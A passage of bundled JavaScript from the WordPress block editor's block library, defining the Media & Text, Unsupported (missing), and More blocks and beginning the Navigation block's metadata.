              label: (0, import_i18n107.__)("Media width"),
              isShownByDefault: true,
              hasValue: () => mediaWidth !== 50,
              onDeselect: () => setAttributes({ mediaWidth: 50 }),
              children: /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                import_components66.RangeControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n107.__)("Media width"),
                  value: temporaryMediaWidth || mediaWidth,
                  onChange: commitWidthChange,
                  min: WIDTH_CONSTRAINT_PERCENTAGE,
                  max: 100 - WIDTH_CONSTRAINT_PERCENTAGE
                }
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n107.__)("Stack on mobile"),
              isShownByDefault: true,
              hasValue: () => !isStackedOnMobile,
              onDeselect: () => setAttributes({ isStackedOnMobile: true }),
              children: /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                import_components66.ToggleControl,
                {
                  label: (0, import_i18n107.__)("Stack on mobile"),
                  checked: isStackedOnMobile,
                  onChange: () => setAttributes({
                    isStackedOnMobile: !isStackedOnMobile
                  })
                }
              )
            }
          ),
          mediaType === "image" && /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n107.__)("Crop image to fill"),
              isShownByDefault: true,
              hasValue: () => !!imageFill,
              onDeselect: () => setAttributes({ imageFill: false }),
              children: /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                import_components66.ToggleControl,
                {
                  label: (0, import_i18n107.__)("Crop image to fill"),
                  checked: !!imageFill,
                  onChange: () => setAttributes({
                    imageFill: !imageFill
                  })
                }
              )
            }
          ),
          imageFill && (mediaUrl || featuredImageURL) && mediaType === "image" && /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n107.__)("Focal point"),
              isShownByDefault: true,
              hasValue: () => !!focalPoint,
              onDeselect: () => setAttributes({ focalPoint: void 0 }),
              children: /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                import_components66.FocalPointPicker,
                {
                  label: (0, import_i18n107.__)("Focal point"),
                  url: useFeaturedImage && featuredImageURL ? featuredImageURL : mediaUrl,
                  value: focalPoint,
                  onChange: (value) => setAttributes({ focalPoint: value }),
                  onDragStart: imperativeFocalPointPreview,
                  onDrag: imperativeFocalPointPreview
                }
              )
            }
          ),
          mediaType === "image" && mediaUrl && !useFeaturedImage && /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n107.__)("Alternative text"),
              isShownByDefault: true,
              hasValue: () => !!mediaAlt,
              onDeselect: () => setAttributes({ mediaAlt: "" }),
              children: /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                import_components66.TextareaControl,
                {
                  label: (0, import_i18n107.__)("Alternative text"),
                  value: mediaAlt,
                  onChange: onMediaAltChange,
                  help: /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)(import_jsx_runtime297.Fragment, { children: [
                    /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
                      import_components66.ExternalLink,
                      {
                        href: (
                          // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
                          (0, import_i18n107.__)(
                            "https://www.w3.org/WAI/tutorials/images/decision-tree/"
                          )
                        ),
                        children: (0, import_i18n107.__)(
                          "Describe the purpose of the image."
                        )
                      }
                    ),
                    /* @__PURE__ */ (0, import_jsx_runtime297.jsx)("br", {}),
                    (0, import_i18n107.__)("Leave empty if decorative.")
                  ] })
                }
              )
            }
          ),
          mediaType === "image" && !useFeaturedImage && /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            MediaTextResolutionTool,
            {
              image,
              value: mediaSizeSlug,
              onChange: updateImage
            }
          )
        ]
      }
    );
    const blockProps = (0, import_block_editor135.useBlockProps)({
      className: classNames,
      style: style2
    });
    const innerBlocksProps = (0, import_block_editor135.useInnerBlocksProps)(
      { className: "wp-block-media-text__content" },
      { template: TEMPLATE10, allowedBlocks }
    );
    const blockEditingMode = (0, import_block_editor135.useBlockEditingMode)();
    return /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)(import_jsx_runtime297.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(import_block_editor135.InspectorControls, { children: mediaTextGeneralSettings }),
      /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)(import_block_editor135.BlockControls, { group: "block", children: [
        blockEditingMode === "default" && /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)(import_jsx_runtime297.Fragment, { children: [
          /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_block_editor135.BlockVerticalAlignmentControl,
            {
              onChange: onVerticalAlignmentChange,
              value: verticalAlignment
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.ToolbarButton,
            {
              icon: pull_left_default,
              title: (0, import_i18n107.__)("Show media on left"),
              isActive: mediaPosition3 === "left",
              onClick: () => setAttributes({ mediaPosition: "left" })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
            import_components66.ToolbarButton,
            {
              icon: pull_right_default,
              title: (0, import_i18n107.__)("Show media on right"),
              isActive: mediaPosition3 === "right",
              onClick: () => setAttributes({ mediaPosition: "right" })
            }
          )
        ] }),
        mediaType === "image" && !useFeaturedImage && /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
          import_block_editor135.__experimentalImageURLInputUI,
          {
            url: href || "",
            onChangeUrl: onSetHref,
            linkDestination,
            mediaType,
            mediaUrl: image && image.source_url,
            mediaLink: image && image.link,
            linkTarget,
            linkClass,
            rel
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime297.jsxs)("div", { ...blockProps, children: [
        mediaPosition3 === "right" && /* @__PURE__ */ (0, import_jsx_runtime297.jsx)("div", { ...innerBlocksProps }),
        /* @__PURE__ */ (0, import_jsx_runtime297.jsx)(
          media_container_default,
          {
            className: "wp-block-media-text__media",
            onSelectMedia,
            onWidthChange,
            commitWidthChange,
            refMedia,
            enableResize: blockEditingMode === "default",
            toggleUseFeaturedImage,
            ...{
              focalPoint,
              imageFill,
              isSelected,
              isStackedOnMobile,
              mediaAlt,
              mediaId,
              mediaPosition: mediaPosition3,
              mediaType,
              mediaUrl,
              mediaWidth,
              useFeaturedImage,
              featuredImageURL,
              featuredImageAlt
            }
          }
        ),
        mediaPosition3 !== "right" && /* @__PURE__ */ (0, import_jsx_runtime297.jsx)("div", { ...innerBlocksProps })
      ] })
    ] });
  }
  var edit_default19 = MediaTextEdit;

  // packages/block-library/build-module/media-text/block.json
  var block_default51 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/media-text",
    title: "Media & Text",
    category: "media",
    description: "Set media and words side-by-side for a richer layout.",
    keywords: ["image", "video"],
    textdomain: "default",
    attributes: {
      align: {
        type: "string",
        default: "none"
      },
      mediaAlt: {
        type: "string",
        source: "attribute",
        selector: "figure img",
        attribute: "alt",
        default: "",
        role: "content"
      },
      mediaPosition: {
        type: "string",
        default: "left"
      },
      mediaId: {
        type: "number",
        role: "content"
      },
      mediaUrl: {
        type: "string",
        source: "attribute",
        selector: "figure video,figure img",
        attribute: "src",
        role: "content"
      },
      mediaLink: {
        type: "string"
      },
      linkDestination: {
        type: "string"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "figure a",
        attribute: "target"
      },
      href: {
        type: "string",
        source: "attribute",
        selector: "figure a",
        attribute: "href",
        role: "content"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "figure a",
        attribute: "rel"
      },
      linkClass: {
        type: "string",
        source: "attribute",
        selector: "figure a",
        attribute: "class"
      },
      mediaType: {
        type: "string",
        role: "content"
      },
      mediaWidth: {
        type: "number",
        default: 50
      },
      mediaSizeSlug: {
        type: "string"
      },
      isStackedOnMobile: {
        type: "boolean",
        default: true
      },
      verticalAlignment: {
        type: "string"
      },
      imageFill: {
        type: "boolean"
      },
      focalPoint: {
        type: "object"
      },
      useFeaturedImage: {
        type: "boolean",
        default: false
      }
    },
    usesContext: ["postId", "postType"],
    supports: {
      anchor: true,
      align: ["wide", "full"],
      html: false,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      allowedBlocks: true
    },
    editorStyle: "wp-block-media-text-editor",
    style: "wp-block-media-text"
  };

  // packages/block-library/build-module/media-text/save.mjs
  var import_block_editor136 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime298 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_MEDIA_WIDTH2 = 50;
  var noop3 = () => {
  };
  function save30({ attributes: attributes2 }) {
    const {
      isStackedOnMobile,
      mediaAlt,
      mediaPosition: mediaPosition3,
      mediaType,
      mediaUrl,
      mediaWidth,
      mediaId,
      verticalAlignment,
      imageFill,
      focalPoint,
      linkClass,
      href,
      linkTarget,
      rel
    } = attributes2;
    const mediaSizeSlug = attributes2.mediaSizeSlug || DEFAULT_MEDIA_SIZE_SLUG4;
    const newRel = !rel ? void 0 : rel;
    const imageClasses = clsx_default({
      [`wp-image-${mediaId}`]: mediaId && mediaType === "image",
      [`size-${mediaSizeSlug}`]: mediaId && mediaType === "image"
    });
    const positionStyles = imageFill ? imageFillStyles(mediaUrl, focalPoint) : {};
    let image = mediaUrl ? /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(
      "img",
      {
        src: mediaUrl,
        alt: mediaAlt,
        className: imageClasses || null,
        style: positionStyles
      }
    ) : null;
    if (href) {
      image = /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(
        "a",
        {
          className: linkClass,
          href,
          target: linkTarget,
          rel: newRel,
          children: image
        }
      );
    }
    const mediaTypeRenders = {
      image: () => image,
      video: () => /* @__PURE__ */ (0, import_jsx_runtime298.jsx)("video", { controls: true, src: mediaUrl })
    };
    const className = clsx_default({
      "has-media-on-the-right": "right" === mediaPosition3,
      "is-stacked-on-mobile": isStackedOnMobile,
      [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
      "is-image-fill-element": imageFill
    });
    let gridTemplateColumns;
    if (mediaWidth !== DEFAULT_MEDIA_WIDTH2) {
      gridTemplateColumns = "right" === mediaPosition3 ? `auto ${mediaWidth}%` : `${mediaWidth}% auto`;
    }
    const style2 = {
      gridTemplateColumns
    };
    if ("right" === mediaPosition3) {
      return /* @__PURE__ */ (0, import_jsx_runtime298.jsxs)("div", { ...import_block_editor136.useBlockProps.save({ className, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(
          "div",
          {
            ...import_block_editor136.useInnerBlocksProps.save({
              className: "wp-block-media-text__content"
            })
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime298.jsx)("figure", { className: "wp-block-media-text__media", children: (mediaTypeRenders[mediaType] || noop3)() })
      ] });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime298.jsxs)("div", { ...import_block_editor136.useBlockProps.save({ className, style: style2 }), children: [
      /* @__PURE__ */ (0, import_jsx_runtime298.jsx)("figure", { className: "wp-block-media-text__media", children: (mediaTypeRenders[mediaType] || noop3)() }),
      /* @__PURE__ */ (0, import_jsx_runtime298.jsx)(
        "div",
        {
          ...import_block_editor136.useInnerBlocksProps.save({
            className: "wp-block-media-text__content"
          })
        }
      )
    ] });
  }

  // packages/block-library/build-module/media-text/transforms.mjs
  var import_blocks50 = __toESM(require_blocks(), 1);
  var transforms16 = {
    from: [
      {
        type: "block",
        blocks: ["core/image"],
        transform: ({ alt, url, id, anchor }) => (0, import_blocks50.createBlock)("core/media-text", {
          mediaAlt: alt,
          mediaId: id,
          mediaUrl: url,
          mediaType: "image",
          anchor
        })
      },
      {
        type: "block",
        blocks: ["core/video"],
        transform: ({ src, id, anchor }) => (0, import_blocks50.createBlock)("core/media-text", {
          mediaId: id,
          mediaUrl: src,
          mediaType: "video",
          anchor
        })
      },
      {
        type: "block",
        blocks: ["core/cover"],
        transform: ({
          align,
          alt,
          anchor,
          backgroundType,
          customGradient,
          customOverlayColor,
          gradient,
          id,
          overlayColor,
          style: style2,
          textColor,
          url,
          useFeaturedImage
        }, innerBlocks) => {
          let additionalAttributes = {};
          if (customGradient) {
            additionalAttributes = {
              style: {
                color: {
                  gradient: customGradient
                }
              }
            };
          } else if (customOverlayColor) {
            additionalAttributes = {
              style: {
                color: {
                  background: customOverlayColor
                }
              }
            };
          }
          if (style2?.color?.text) {
            additionalAttributes.style = {
              color: {
                ...additionalAttributes.style?.color,
                text: style2.color.text
              }
            };
          }
          return (0, import_blocks50.createBlock)(
            "core/media-text",
            {
              align,
              anchor,
              backgroundColor: overlayColor,
              gradient,
              mediaAlt: alt,
              mediaId: id,
              mediaType: backgroundType,
              mediaUrl: url,
              textColor,
              useFeaturedImage,
              ...additionalAttributes
            },
            innerBlocks
          );
        }
      }
    ],
    to: [
      {
        type: "block",
        blocks: ["core/image"],
        isMatch: ({ mediaType, mediaUrl }) => {
          return !mediaUrl || mediaType === "image";
        },
        transform: ({ mediaAlt, mediaId, mediaUrl, anchor }) => {
          return (0, import_blocks50.createBlock)("core/image", {
            alt: mediaAlt,
            id: mediaId,
            url: mediaUrl,
            anchor
          });
        }
      },
      {
        type: "block",
        blocks: ["core/video"],
        isMatch: ({ mediaType, mediaUrl }) => {
          return !mediaUrl || mediaType === "video";
        },
        transform: ({ mediaId, mediaUrl, anchor }) => {
          return (0, import_blocks50.createBlock)("core/video", {
            id: mediaId,
            src: mediaUrl,
            anchor
          });
        }
      },
      {
        type: "block",
        blocks: ["core/cover"],
        transform: ({
          align,
          anchor,
          backgroundColor,
          focalPoint,
          gradient,
          mediaAlt,
          mediaId,
          mediaType,
          mediaUrl,
          style: style2,
          textColor,
          useFeaturedImage
        }, innerBlocks) => {
          const additionalAttributes = {};
          if (style2?.color?.gradient) {
            additionalAttributes.customGradient = style2.color.gradient;
          } else if (style2?.color?.background) {
            additionalAttributes.customOverlayColor = style2.color.background;
          }
          if (style2?.color?.text) {
            additionalAttributes.style = {
              color: { text: style2.color.text }
            };
          }
          const coverAttributes = {
            align,
            alt: mediaAlt,
            anchor,
            backgroundType: mediaType,
            dimRatio: !!mediaUrl || useFeaturedImage ? 50 : 100,
            focalPoint,
            gradient,
            id: mediaId,
            overlayColor: backgroundColor,
            textColor,
            url: mediaUrl,
            useFeaturedImage,
            ...additionalAttributes
          };
          return (0, import_blocks50.createBlock)(
            "core/cover",
            coverAttributes,
            innerBlocks
          );
        }
      }
    ]
  };
  var transforms_default17 = transforms16;

  // packages/block-library/build-module/media-text/index.mjs
  var { fieldsKey: fieldsKey10, formKey: formKey10 } = unlock(import_blocks51.privateApis);
  var { name: name51 } = block_default51;
  var settings51 = {
    icon: media_and_text_default,
    example: {
      viewportWidth: 601,
      // Columns collapse "@media (max-width: 600px)".
      attributes: {
        mediaType: "image",
        mediaUrl: "https://s.w.org/images/core/5.3/Biologia_Centrali-Americana_-_Cantorchilus_semibadius_1902.jpg"
      },
      innerBlocks: [
        {
          name: "core/paragraph",
          attributes: {
            content: (0, import_i18n108.__)(
              "The wren<br>Earns his living<br>Noiselessly."
            )
          }
        },
        {
          name: "core/paragraph",
          attributes: {
            content: (0, import_i18n108.__)("\u2014 Kobayashi Issa (\u4E00\u8336)")
          }
        }
      ]
    },
    transforms: transforms_default17,
    edit: edit_default19,
    save: save30,
    deprecated: deprecated_default27
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings51[fieldsKey10] = [
      {
        id: "media",
        label: (0, import_i18n108.__)("Media"),
        type: "media",
        Edit: {
          control: "media",
          // TODO: replace with custom component
          allowedTypes: ["image", "video"],
          multiple: false
        },
        getValue: ({ item }) => ({
          id: item.mediaId,
          url: item.mediaUrl,
          mediaType: item.mediaType,
          link: item.mediaLink
        }),
        setValue: ({ value }) => ({
          mediaId: value.id,
          mediaUrl: value.url,
          mediaType: value.mediaType,
          mediaLink: value.link
        })
      },
      {
        id: "link",
        label: (0, import_i18n108.__)("Link"),
        type: "url",
        Edit: "link",
        // TODO: replace with custom component
        getValue: ({ item }) => ({
          url: item.href,
          rel: item.rel,
          linkTarget: item.linkTarget
        }),
        setValue: ({ value }) => ({
          href: value.url,
          rel: value.rel,
          linkTarget: value.linkTarget
        })
      }
    ];
    settings51[formKey10] = {
      fields: ["media", "link"]
    };
  }
  var init51 = () => initBlock({ name: name51, metadata: block_default51, settings: settings51 });

  // packages/block-library/build-module/missing/index.mjs
  var missing_exports = {};
  __export(missing_exports, {
    init: () => init52,
    metadata: () => block_default52,
    name: () => name52,
    settings: () => settings52
  });
  var import_blocks53 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/missing/edit.mjs
  var import_i18n109 = __toESM(require_i18n(), 1);
  var import_element56 = __toESM(require_element(), 1);
  var import_components67 = __toESM(require_components(), 1);
  var import_blocks52 = __toESM(require_blocks(), 1);
  var import_data60 = __toESM(require_data(), 1);
  var import_block_editor137 = __toESM(require_block_editor(), 1);
  var import_dom4 = __toESM(require_dom(), 1);
  var import_jsx_runtime299 = __toESM(require_jsx_runtime(), 1);
  function MissingEdit({ attributes: attributes2, clientId }) {
    const { originalName, originalUndelimitedContent } = attributes2;
    const hasContent = !!originalUndelimitedContent;
    const { hasFreeformBlock, hasHTMLBlock } = (0, import_data60.useSelect)(
      (select9) => {
        const { canInsertBlockType, getBlockRootClientId } = select9(import_block_editor137.store);
        return {
          hasFreeformBlock: canInsertBlockType(
            "core/freeform",
            getBlockRootClientId(clientId)
          ),
          hasHTMLBlock: canInsertBlockType(
            "core/html",
            getBlockRootClientId(clientId)
          )
        };
      },
      [clientId]
    );
    const { replaceBlock } = (0, import_data60.useDispatch)(import_block_editor137.store);
    function convertToHTML() {
      replaceBlock(
        clientId,
        (0, import_blocks52.createBlock)("core/html", {
          content: originalUndelimitedContent
        })
      );
    }
    const actions = [];
    let messageHTML;
    const convertToHtmlButton = /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(
      import_components67.Button,
      {
        __next40pxDefaultSize: true,
        onClick: convertToHTML,
        variant: "primary",
        children: (0, import_i18n109.__)("Keep as HTML")
      },
      "convert"
    );
    if (hasContent && !hasFreeformBlock && (!originalName || originalName === "core/freeform")) {
      if (hasHTMLBlock) {
        messageHTML = (0, import_i18n109.__)(
          "It appears you are trying to use the deprecated Classic block. You can leave this block intact, convert its content to a Custom HTML block, or remove it entirely. Alternatively, if you have unsaved changes, you can save them and refresh to use the Classic block."
        );
        actions.push(convertToHtmlButton);
      } else {
        messageHTML = (0, import_i18n109.__)(
          "It appears you are trying to use the deprecated Classic block. You can leave this block intact, or remove it entirely. Alternatively, if you have unsaved changes, you can save them and refresh to use the Classic block."
        );
      }
    } else if (hasContent && hasHTMLBlock) {
      messageHTML = (0, import_i18n109.sprintf)(
        /* translators: %s: block name */
        (0, import_i18n109.__)(
          'Your site doesn\u2019t include support for the "%s" block. You can leave it as-is, convert it to custom HTML, or remove it.'
        ),
        originalName
      );
      actions.push(convertToHtmlButton);
    } else {
      messageHTML = (0, import_i18n109.sprintf)(
        /* translators: %s: block name */
        (0, import_i18n109.__)(
          'Your site doesn\u2019t include support for the "%s" block. You can leave it as-is or remove it.'
        ),
        originalName
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime299.jsxs)("div", { ...(0, import_block_editor137.useBlockProps)({ className: "has-warning" }), children: [
      /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(import_block_editor137.Warning, { actions, children: messageHTML }),
      /* @__PURE__ */ (0, import_jsx_runtime299.jsx)(import_element56.RawHTML, { children: (0, import_dom4.safeHTML)(originalUndelimitedContent) })
    ] });
  }

  // packages/block-library/build-module/missing/block.json
  var block_default52 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/missing",
    title: "Unsupported",
    category: "text",
    description: "Your site doesn\u2019t include support for this block.",
    textdomain: "default",
    attributes: {
      originalName: {
        type: "string"
      },
      originalUndelimitedContent: {
        type: "string"
      },
      originalContent: {
        type: "string",
        source: "raw"
      }
    },
    supports: {
      className: false,
      customClassName: false,
      inserter: false,
      html: false,
      lock: false,
      reusable: false,
      renaming: false,
      visibility: false,
      interactivity: {
        clientNavigation: true
      },
      customCSS: false
    }
  };

  // packages/block-library/build-module/missing/save.mjs
  var import_element57 = __toESM(require_element(), 1);
  var import_jsx_runtime300 = __toESM(require_jsx_runtime(), 1);
  function save31({ attributes: attributes2 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime300.jsx)(import_element57.RawHTML, { children: attributes2.originalContent });
  }

  // packages/block-library/build-module/missing/index.mjs
  var { name: name52 } = block_default52;
  var settings52 = {
    name: name52,
    __experimentalLabel(attributes2, { context }) {
      if (context === "accessibility") {
        const { originalName } = attributes2;
        const originalBlockType = originalName ? (0, import_blocks53.getBlockType)(originalName) : void 0;
        if (originalBlockType) {
          return originalBlockType.settings.title || originalName;
        }
        return "";
      }
    },
    edit: MissingEdit,
    save: save31
  };
  var init52 = () => initBlock({ name: name52, metadata: block_default52, settings: settings52 });

  // packages/block-library/build-module/more/index.mjs
  var more_exports = {};
  __export(more_exports, {
    init: () => init53,
    metadata: () => block_default53,
    name: () => name53,
    settings: () => settings53
  });
  var import_i18n111 = __toESM(require_i18n(), 1);
  var import_blocks56 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/more/edit.mjs
  var import_i18n110 = __toESM(require_i18n(), 1);
  var import_components68 = __toESM(require_components(), 1);
  var import_block_editor138 = __toESM(require_block_editor(), 1);
  var import_blocks54 = __toESM(require_blocks(), 1);
  var import_jsx_runtime301 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_TEXT = (0, import_i18n110.__)("Read more");
  function MoreEdit({
    attributes: { customText, noTeaser },
    insertBlocksAfter,
    setAttributes
  }) {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime301.jsxs)(import_jsx_runtime301.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(import_block_editor138.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(
        import_components68.__experimentalToolsPanel,
        {
          label: (0, import_i18n110.__)("Settings"),
          resetAll: () => {
            setAttributes({
              noTeaser: false
            });
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(
            import_components68.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n110.__)("Hide excerpt"),
              isShownByDefault: true,
              hasValue: () => noTeaser,
              onDeselect: () => setAttributes({ noTeaser: false }),
              children: /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(
                import_components68.ToggleControl,
                {
                  label: (0, import_i18n110.__)(
                    "Hide the excerpt on the full content page"
                  ),
                  checked: !!noTeaser,
                  onChange: () => setAttributes({ noTeaser: !noTeaser }),
                  help: (checked) => checked ? (0, import_i18n110.__)("The excerpt is hidden.") : (0, import_i18n110.__)("The excerpt is visible.")
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime301.jsx)("div", { ...(0, import_block_editor138.useBlockProps)(), children: /* @__PURE__ */ (0, import_jsx_runtime301.jsx)(
        import_block_editor138.PlainText,
        {
          __experimentalVersion: 2,
          tagName: "span",
          "aria-label": (0, import_i18n110.__)('"Read more" text'),
          value: customText,
          placeholder: DEFAULT_TEXT,
          onChange: (value) => setAttributes({ customText: value }),
          disableLineBreaks: true,
          __unstableOnSplitAtEnd: () => insertBlocksAfter(
            (0, import_blocks54.createBlock)((0, import_blocks54.getDefaultBlockName)())
          )
        }
      ) })
    ] });
  }

  // packages/block-library/build-module/more/block.json
  var block_default53 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/more",
    title: "More",
    category: "design",
    description: "Content before this block will be shown in the excerpt on your archives page.",
    keywords: ["read more"],
    textdomain: "default",
    attributes: {
      customText: {
        type: "string",
        default: "",
        role: "content"
      },
      noTeaser: {
        type: "boolean",
        default: false
      }
    },
    supports: {
      customClassName: false,
      className: false,
      html: false,
      multiple: false,
      visibility: false,
      interactivity: {
        clientNavigation: true
      },
      customCSS: false
    },
    editorStyle: "wp-block-more-editor"
  };

  // packages/block-library/build-module/more/save.mjs
  var import_element58 = __toESM(require_element(), 1);
  var import_jsx_runtime302 = __toESM(require_jsx_runtime(), 1);
  function save32({ attributes: { customText, noTeaser } }) {
    const moreTag = customText ? `<!--more ${customText}-->` : "<!--more-->";
    const noTeaserTag = noTeaser ? "<!--noteaser-->" : "";
    return /* @__PURE__ */ (0, import_jsx_runtime302.jsx)(import_element58.RawHTML, { children: [moreTag, noTeaserTag].filter(Boolean).join("\n") });
  }

  // packages/block-library/build-module/more/transforms.mjs
  var import_blocks55 = __toESM(require_blocks(), 1);
  var transforms17 = {
    from: [
      {
        type: "raw",
        schema: {
          "wp-block": { attributes: ["data-block"] }
        },
        isMatch: (node) => node.dataset && node.dataset.block === "core/more",
        transform(node) {
          const { customText, noTeaser } = node.dataset;
          const attrs = {};
          if (customText) {
            attrs.customText = customText;
          }
          if (noTeaser === "") {
            attrs.noTeaser = true;
          }
          return (0, import_blocks55.createBlock)("core/more", attrs);
        }
      }
    ]
  };
  var transforms_default18 = transforms17;

  // packages/block-library/build-module/more/index.mjs
  var { fieldsKey: fieldsKey11, formKey: formKey11 } = unlock(import_blocks56.privateApis);
  var { name: name53 } = block_default53;
  var settings53 = {
    icon: more_default,
    example: {},
    __experimentalLabel(attributes2, { context }) {
      const customName = attributes2?.metadata?.name;
      if ((context === "list-view" || context === "breadcrumb") && customName) {
        return customName;
      }
      if (context === "accessibility") {
        return attributes2.customText;
      }
    },
    transforms: transforms_default18,
    edit: MoreEdit,
    save: save32
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings53[fieldsKey11] = [
      {
        id: "customText",
        label: (0, import_i18n111.__)("Content"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      }
    ];
    settings53[formKey11] = {
      fields: ["customText"]
    };
  }
  var init53 = () => initBlock({ name: name53, metadata: block_default53, settings: settings53 });

  // packages/block-library/build-module/navigation/index.mjs
  var navigation_exports = {};
  __export(navigation_exports, {
    init: () => init54,
    metadata: () => block_default54,
    name: () => name54,
    settings: () => settings54
  });
  var import_i18n142 = __toESM(require_i18n(), 1);
  var import_data87 = __toESM(require_data(), 1);
  var import_core_data50 = __toESM(require_core_data(), 1);
  var import_html_entities7 = __toESM(require_html_entities(), 1);

  // packages/block-library/build-module/navigation/block.json
  var block_default54 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/navigation",
    title: "Navigation",
    category: "theme",
    allowedBlocks: [
      "core/navigation-link",
      "core/search",
      "core/social-links",
      "core/page-list",
      "core/spacer",
      "core/home-link",
      "core/icon",
      "core/site-title",
      "core/site-logo",
      "core/navigation-submenu",
      "core/loginout",
      "core/buttons"
    ],
    description: "A collection of blocks that allow visitors to get around your site.",
    keywords: ["menu", "navigation", "links"],
    textdomain: "default",
    attributes: {
      ref: {
        type: "number"
      },
      textColor: {
        type: "string"
      },
      customTextColor: {
        type: "string"
      },
      rgbTextColor: {
        type: "string"
      },
      backgroundColor: {
        type: "string"
      },
      customBackgroundColor: {
        type: "string"
      },
      rgbBackgroundColor: {
        type: "string"
      },
      showSubmenuIcon: {
        type: "boolean",
        default: true
      },
      submenuVisibility: {
        type: "string",
        enum: ["hover", "click", "always"],
        default: "hover"
      },
      overlayMenu: {
        type: "string",
        default: "mobile"
      },
      overlay: {
        type: "string"
      },
      icon: {
        type: "string",
        default: "handle"
      },
      hasIcon: {
        type: "boolean",
        default: true
      },
      __unstableLocation: {
        type: "string"
      },
      overlayBackgroundColor: {
        type: "string"
      },
      customOverlayBackgroundColor: {
        type: "string"
      },
      overlayTextColor: {
        type: "string"
      },
      customOverlayTextColor: {
        type: "string"
      },
      maxNestingLevel: {
        type: "number",
        default: 5
      },
      templateLock: {
        type: ["string", "boolean"],
        enum: ["all", "insert", "contentOnly", false]
      }
    },
    providesContext: {
      textColor: "textColor",
      customTextColor: "customTextColor",
      backgroundColor: "backgroundColor",
      customBackgroundColor: "customBackgroundColor",
      overlayTextColor: "overlayTextColor",
      customOverlayTextColor: "customOverlayTextColor",
      overlayBackgroundColor: "overlayBackgroundColor",
      customOverlayBackgroundColor: "customOverlayBackgroundColor",
      fontSize: "fontSize",
      customFontSize: "customFontSize",
      showSubmenuIcon: "showSubmenuIcon",
      submenuVisibility: "submenuVisibility",
      openSubmenusOnClick: "openSubmenusOnClick",
      style: "style",
      maxNestingLevel: "maxNestingLevel"
    },
    supports: {
      anchor: true,
      align: ["wide", "full"],
      ariaLabel: true,
      contentRole: true,
      html: false,
      inserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        __experimentalFontFamily: true,
        __experimentalLetterSpacing: true,
        __experimentalTextDecoration: true,
        __experimentalSkipSerialization: ["textDecoration"],
